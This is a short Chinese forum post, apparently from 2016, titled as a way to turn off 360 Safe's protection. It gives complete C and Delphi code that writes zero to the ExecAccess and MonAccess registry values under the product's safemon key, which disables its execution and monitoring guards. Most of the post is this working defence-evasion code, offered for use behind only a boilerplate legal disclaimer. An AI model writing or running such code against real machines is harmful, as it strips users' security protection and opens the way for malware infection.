HanDs
管理员

[Delphi文章] 关闭360的防护( C,Delphi) 



C:

#include <windows.h>
int WINAPI WinMain(
  HINSTANCE hInstance,  // handle to current instance
  HINSTANCE hPrevInstance,  // handle to previous instance
  LPSTR lpCmdLine,      // pointer to command line
  int nCmdShow          // show state of window
)
{
HKEY hkRoot = HKEY_LOCAL_MACHINE;
int rc;
DWORD value=0x00;
char *KEYDirect="SOFTWARE\\360Safe\\safemon";
  rc=RegOpenKeyEx(hkRoot, KEYDirect, 0, KEY_WRITE, &hkRoot);
if(ERROR_SUCCESS == rc)
    {rc=RegSetValueEx(hkRoot,"ExecAccess",0,REG_DWORD,(const unsigned char *)(&value),sizeof(value));
     rc=RegSetValueEx(hkRoot,"MonAccess",0,REG_DWORD,(const unsigned char *)(&value),sizeof(value));
     RegCloseKey(hkRoot);
}
return 1;
}

Delphi:

uses
  Registry;

procedure   SafemonOff;
var
  Reg: TRegistry;
begin
  try
    Reg := TRegistry.Create;
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    if Reg.OpenKey('\SOFTWARE\360Safe\safemon', true) then begin
      Reg.WriteInteger('ExecAccess', 0);
      Reg.WriteInteger('MonAccess', 0);
    end;
    Reg.CloseKey;
  finally
    Reg.Free;
  end;
end;


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
关闭 3 60
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复